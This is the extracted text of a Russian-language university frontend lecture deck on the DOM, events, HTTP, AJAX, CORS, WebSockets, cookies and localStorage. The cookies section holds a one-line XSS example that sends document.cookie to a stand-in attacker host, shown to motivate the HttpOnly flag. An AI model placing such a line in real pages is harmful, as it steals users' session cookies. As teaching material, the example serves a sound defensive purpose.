frontend весна 2014 лекция 3

1 DOM, Events

Native objects

Native object — object in an ECMAScript implementation whose semantics

are fully defined by this specification rather than by the host environment.

Section 4.3.6, ECMAScript 5.1“2

Native objects

Object

Array.prototype.indexOf

String.prototype.replace

Host objects

Host object — object supplied by the host environment to complete the

execution environment of ECMAScript.

Section 4.3.8, ECMAScript 5.1“4

Host objects

window

document

history

document.getElementById

Document Object Model

1. DOM Core: Node, Element, Document, Event…

2. DOM Events

DOM Reference

element.nodeType /* 1, 3… */

element.tagName /* "DIV", "A"… */

element.nodeValue

Обход дерева

element.previousSibling || element.nextSibling

element.firstChild || element.lastChild

element.parentNode

element.childNodes

element.children

Демонстрация

Поиск элемента

document.getElementById /* element */

element.getElementsByTagName /* HTMLCollection */

element.getElementsByClassName /* HTMLCollection */

element.querySelector /* element */

element.querySelectorAll /* elementList */

jQuery

$('#page') /* ⟷ document.getElementById('page') */

$('div') /* ⟷ document.getElementsByTagName('div') */

$('.link') /* ⟷ document.getElementsByClassName('link') */

$('#page div .link') /* ⟷

document.querySelectorAll('#page div .link') */

HTMLCollection (live-NodeList )

length

item(index)

[index]

HTMLCollection (live-NodeList )

var links = document.getElementsByTagName('a');

for (var i = 0, l = links.length; i < l; i++) {

/* links[i] */

HTMLCollection vs. Array

length

[index]

forEach(fn)

map(fn)

indexOf(item)

HTMLCollection vs. Array

var links = document.getElementsByTagName('a');

var linksArray = Array.prototype.slice.call(links);

linksArray.forEach(function (link) {

/* link */

jQuery

$('a').each(function (i, link) {

var $this = $(this); /* link */

Модификация узла

element.id = "" /* ⟷ id */

element.className = "" /* ⟷ class */

element.classList /* ⟷ class */

Модификация узла

element.getAttribute("class")

element.setAttribute("class", className)

element.hasAttribute("class")

element.removeAttribute("class")

jQuery

$(element).attr("class") /* ⟷ element.getAttribute("class") */

$(element).attr("class", className) /* ⟷

element.setAttribute("class", className) */

$(element).removeAttr("class") /* ⟷

element.removeAttribute("class") */

attr vs. prop

element.checked /* true */

$(element).prop("checked") /* true */

element.getAttribute("checked") /* "checked" */

$(element).attr("checked") /* "checked" */

dataset

element.dataset.value /* "true" */

element.dataset.companyName /* "Mail.ru" */

$(element).data("value") /* "true" */

$(element).data("companyName") /* "Mail.ru" */

Модификация дерева

document.createElement("div")

parent.appendChild(child)

parent.insertBefore(child, referenceElement)

parent.removeChild(child)

jQuery

$("body").append("<div class="page">…</div");

$("<div class="page">…</div").appendTo("body");

/* prepent, perependTo */

Events

DefaultView

Document

<html>

<body>

<table>

<tbody>

Shady Grove

Aeolian

Over the River, Charlie

Dorian

Capture Phase (1)

Target Phase (2)

Bubbling Phase (3)

Events

element.addEventListener(type, listener[, useCapture])

element.removeEventListener(type, listener[, useCapture])

jQuery

$(element).on(type, listener) /* ⟷

element.addEventListener(type, listener, false) */

$(element).off(type, listener) /* ⟷

element.removeEventListener(type, listener, false) */

Свойства события

event.type

evnet.eventPhase

event.target

event.curentTarget

event.preventDefault()

event.stopPropogation()

event.stopImmediatePropagation()

Источники событий

Element

document

window

XMLHttpRequest

Input device events

click, dblclick

contextmenu

keydown, keyup, keypress

mousein, mouseout, mousemove

mouseenter, mouseleave

mousedown, mouseup

Form events

submit

Focus events

change

Document events

load, unload

DOMContentLoaded

Window events

hashchange

resize

Event delegation

$('table').on('click', 'td', function (e) {

alert(e.target);

Домашнее задание

РЕАЛИЗАЦИЯ ИГРОВОЙ МЕХАНИКИ

ДОРАБОТАТЬ ПРОТОТИП ПО ТЗ

2 Сетевоевзаимодействие

Uniform resource locator

scheme://domain:port/path?query_string#fragment_id

location.protocol /* "scheme:" */

location.hostname /* "domain" */

location.port /* "port" */

location.pathname /* "/path" */

location.search /* "?query_string" */

location.hash /* "#fragment_id" */

HyperText Transfer Protocol

ПРОТОКОЛ ПРИКЛАДНОГО УРОВНЯ (7-ОЙ УРОВЕНЬ OSI)

КЛИЕНТ (ЗАПРОС) — СЕРВЕР (ОТВЕТ)

НЕ ХРАНИТ СОСТОЯНИЕ МЕЖДУ ЗАПРОСАМИ

ПРОСТ В РЕАЛИЗАЦИИ

РАСШИРЯЕМЫЙ

РАСПРОСТРАНЕННЫЙ

ФИЗИЧЕСКИЙ (СРЕДА, СИГНАЛЫ, КОДЫ)

КАНАЛЬНЫЙ (ФИЗИЧЕСКАЯ АДРЕСАЦИЯ)

СЕТЕВОЙ (ЛОГИЧЕСКАЯ АДРЕСАЦИЯ, МАРШРУТИЗАЦИЯ)

ТРАНСПОРТНЫЙ (НАДЕЖНОСТЬ)

СЕАНСОВЫЙ (СЕССИИ)

ПРЕДСТАВИТЕЛЬСКИЙ (СЖАТИЕ, ШИФРОВАНИЕ)

ПРИКЛАДНОЙ (ДОСТУП К ДАННЫМ)

1991 HTTP/0.9

1996 HTTP/1.0

1999 HTTP/1.1

Структура протокола

СТАРТОВАЯ СТРОКА // >= HTTP/0.9

ЗАГОЛОВКИ // >= HTTP/1.0

ТЕЛО СООБЩЕНИЯ // >= HTTP/1.0

http://mail.ru/

GET / HTTP/1.1

Host: mail.ru

Accept: text/html,application/xhtml+xml,…

Connection: keep-alive

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8,ru;q=0.6

User-Agent: Mozilla/5.0 … Safari/537.36

HTTP/1.1 200 OK

Date: Sun, 16 Feb 2014 22:09:34 GMT

Server: Apache/1.3.27 (Unix) …

Content-Encoding: gzip

Connection: close

Cache-Control: no-cache,no-store,must-revalidate

Content-Length: 50316

Content-Type: text/html; charset=utf-8

<!DOCTYPE html>…

Методы

GET // ЗАПРОС ДАННЫХ

POST // ПЕРЕДАЧА ДАННЫХ

PUT // ЗАГРУЗКА СОДЕРЖИМОГО ЗАПРОСА

DELETE // УДАЛЕНИЕ РЕСУРСА

HEAD // ПОЛУЧЕНИЕ ТОЛЬКО ЗАГОЛОВКОВ

OPTIONS // ОПРЕДЕЛЕНИЕ ВОЗМОЖНОСТЕЙ СЕРВЕРА

Коды ответов

ИНФОРМАЦИОННЫЕ // 1xx

УСПЕШНЫЕ // 2xx

ПЕРЕНАПРАВЛЕНИЕ // 3xx

ОШИБКА КЛИЕНТА // 4xx

ОШИБКА СЕРВЕРА // 5xx

200 // OK

301 // Moved Permanently

302 // Moved Temporarily

304 // Not Modified

400 // Bad Request

401 // Unauthorized

404 // Not Found

405 // Method Not Allowed

414 // Request-URI Too Large

500 // Internal Server Error

502 // Bad Gateway

503 // Service Unavailable

504 // Gateway Timeout

AJAX =AsynchronousJavaScript + XML

AJAX — подход к построению интерактивных пользовательских

интерфейсов веб-приложений, заключающийся в «фоновом» обмене

данными браузера с веб-сервером.

Википедия

ЭКОНОМИЯ ТРАФИКА

СНИЖЕНИЕ НАГРУЗКИ НА СЕРВЕР-САЙД

УСКОРЕНИЕ РЕАКЦИИ ИНТЕРФЕЙСА

ИНТЕРАКТИВНЫЙ ВОЗМОЖНОСТИ

ТРУДНОСТИ ИНДЕКСИРОВАНИЯ

УСЛОЖНЕНИЕ РАЗРАБОТКИ

ТРЕБУЕТСЯ JAVASCRIPT

Способы

XMLHttpRequest

IFRAME

WebSockets

XMLHttpRequest

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://mail.ru/", true);

xhr.send(null);

XMLHttpRequest

xhr.onreadystatechange = function (e) {

/* e.target === xhr; */

if (xhr.readyState === 4) {

if (xhr.status === 200) {

alert(xhr.responseText);

08. 55

readyState

0 /* UNSENT — до open() */

1 /* OPENED — до send() */

2 /* HEADERS_RECEIVED — данные еще не получены */

3 /* LOADING — данные начали поступать */

4 /* DONE — данные получены */

xhr.readyState === 4

xhr.status /* Number */

xhr.responseText /* String */

xhr.responseXML /* XMLDocument */

Same-origin policy

https://e.mail.ru/messages/inbox/ (ORIGIN)

https://e.mail.ru/compose/ (SAME-ORIGIN)

http ://e.mail.ru/compose/ (CROSS-ORIGIN)

https://e.mail.ru: 8080 /compose/ (CROSS-ORIGIN)

https:// news .mail.ru/ (CROSS-ORIGIN)

function resultHnd(json) {

/* json */

</script>

</script>

> GET /users/?cb=resultHnd HTTP/1.0

< resultHnd({ … });

> GET /users/?cb=resultHndN HTTP/1.0

< resultHndN({ … });

IFRAME (SAME-ORIGIN)

style="display:none"></iframe>

function resultHnd(json) {

/* json */

</script>

</form>

> POST /ifecho HTTP/1.0

< <script>

< window.parent.resultHnd({ … });

< </script>

IFRAME (CROSS-ORIGIN)

< <script>

< window.parent.resultHnd({ … });

< </script>

< <script>

< window.parent.postMessage("resultHnd:{ … }", "*");

< </script>

IFRAME (ДЛЯ ЗАГРУЗКИ) +

JSONP (ДЛЯ ОТСЛЕЖИВАНИЯ СТАТУСА)

Cross-Origin Resource Sharing

/* Origin: tech-mail.ru */

xhr.onreadystatechange = function (e) { };

xhr.open("GET", "http://mail.ru/", true);

xhr.send(null);

> GET / HTTP/1.1

> Host: mail.ru

> Referer: http://tech-mail.ru/

> Origin: http://tech-mail.ru/

> User-Agent: Mozilla/5.0 …

< HTTP/1.1 200 OK

< Content-Type: text/html; charset=utf-8

< Content-Length: 201474

XMLHttpRequest cannot load http://mail.ru/.

No 'Access-Control-Allow-Origin' header is present

on the requested resource. Origin 'http://tech-mail.ru'

is therefore not allowed access.

< HTTP/1.1 200 OK

< Access-Control-Allow-Origin: *

< Content-Type: text/html; charset=utf-8

< Content-Length: 201474

CORS With Credentials

/* Origin: tech-mail.ru */

xhr.withCredentials = true;

< Access-Control-Allow-Origin: http://tech-mail.ru

< Access-Control-Allow-Credentials: true

Comet — любая модель работы веб-приложения, при которой

постоянное HTTP-соединение позволяет веб-серверу отправлять

(push) данные браузеру без дополнительного запроса со стороны

браузера.

Википедия

IFRAME /* …<script>…</script>…<script>…</script>… */

WebSockets

Поддержка WebSockets

Chrome 16 & Chrome for Android 16

Firefox 11

Internet Explorer 10

Opera 12.10

Safari 6.0 & Safari Mobile 6.0

Особенности WebSockets

Upgrades from HTTP 1.1

Cross-Origin Resource Sharing (CORS)

Message-based

Использование WebSockets

var connection = new WebSocket('ws://example.com/echo');

connection.onopen = function () { … };

connection.onerror = function (error) { … };

connection.onmessage = function (e) { /* e.data */ };

connection.send(msg);

ВЗАИМОДЕЙСТВИЕ С СЕРВЕРОМ С ПОМОЩЬЮ AJAX

Подготовка

$ git remote add tp \

→ https://github.com/eprev/frontend-stub.git

$ git remote update

$ git merge tp/v4

Разрешаем конфикты

$ git status

$ git add …

$ git commit -m "Fix merge conflicts"

$ grunt

Запускаем

$ npm install

$ grunt

3 Хранениеданных

HTTP is astateless protocol

Cookies

Куки — небольшой фрагмент данных, отправленный веб-сервером и

хранимый на компьютере пользователя. Веб-клиент (обычно веб-

браузер) всякий раз при попытке открыть страницу

соответствующего сайта пересылает этот фрагмент данных веб-

серверу в виде HTTP-запроса.

Википедия

Использование

АУТЕНТИФИКАЦИЯ

ХРАНЕНИЕ НАСТРОЕК ПОЛЬЗОВАТЕЛЕЙ

ОТСЛЕЖИВАНИЕ СЕАНСА

СБОР СТАТИСТИКИ

Спецификация

ДО 4096 БАЙТ МИНМУМ

МИНИМУМ 20 ШТ. НА ДОМЕН

МИНИМУМ 300 ШТ. ВСЕГО

ИМЕНЯ НЕЧУВСТВИТЕЛЬНЫ К РЕГИСТРУ

1 Клиент → Сервер

GET / HTTP/1.1

Host: example.com

2 Клиент ← Сервер

HTTP/1.1 200 OK

Set-Cookie: name=value

Content-Type: text/html

3 Клиент → Сервер

GET / HTTP/1.1

Host: example.com

Cookie: name=value

4 Клиент ← Сервер

HTTP/1.1 200 OK

Set-Cookie: name=newValue

Content-Type: text/html

Set-Cookie

Set-Cookie: value[; expires=date][; domain=domain]

[; path=path][; secure][; HttpOnly]

Set-Cookie’s expires

Set-Cookie: value; expires=Sat, 01 March 2014 13:21:34 GMT

Set-Cookie’s domain

Set-Cookie: value1; domain=.mail.ru

Set-Cookie: value2; domain=e.mail.ru

Set-Cookie’s path

Set-Cookie: value1; path=/

Set-Cookie: value2; path=/check

Set-Cookie: value3; path=/checkout

Cookie ID

Set-Cookie: name=value1; domain=.example.com; path=/

Set-Cookie: name=value2; domain=www.example.com; path=/

Set-Cookie: name=value3; domain=.example.com; path=/archive

Cookie: name=value1; name=value2; name=value3

JavaScript

document.cookie; /* "name=newValue" */

document.cookie = "name2=value";

document.cookie; /* "name=newValue; name2=value" */

Cross Site Scripting (XSS)

(new Image()).src = "http://evil-domain.com/?cookie=" +

document.cookie;

HttpOnly

Set-Cookie: name1=value;

Set-Cookie: name2=value; HttpOnly

document.cookie; /* "name1=value" */

localStorage

window.localStorage

localStorage[key]; /* String */

localStorage[key] = value; /* String */

window.localStorage

localStorage.length

localStorage.key(i)/* String */

localStorage.getItem(key) /* String */

localStorage.setItem(key, value)

localStorage.removeItem(key)

localStorage.clear()

Событие storage

window.addEventListener("storage", function (e) {

/* e.key, e.newValue */

function setJSON(key, value) {

localStorage[key] = JSON.stringify(value);

function getJSON(key) {

var value = localStorage[key];

return value ? JSON.parse(value) : null;

sessionStorage

Что есть еще?

IndexedDB

FileSystem

СОХРАНЕНИЕ РЕЗУЛЬТАТОВ ИГРЫ, ПРИ ОСТУСТВИИ СВЯЗИ.

frontend весна 2014 лекция 3

events element

classname element

dataset element

getattributeclass element

usecapture element

parentnode element

firstchild element

lastchild element

Education

web весна 2012 лекция 5

web весна 2013 лекция 4

highload весна 2014 лекция 1

Безопасность лекция 1 весна 2014

web весна 2012 лекция 4

frontend весна 2014 лекция 2

web весна 2012 лекция 8

Тестирование весна 2013 лекция 4

Тестирование весна 2013 лекция 2

highload весна 2014 лекция 2

Тестирование весна 2013 лекция 3

java весна 2013 лекция 2

web весна 2013 лекция 1

highload весна 2014 лекция 5

java весна 2013 лекция 6

c++ весна 2014 лекция 5

frontend весна 2014 лекция 1

Бизнес весна 2014 лекция 6

web весна 2012 лекция 11

Безопасность весна 2014 лекция 7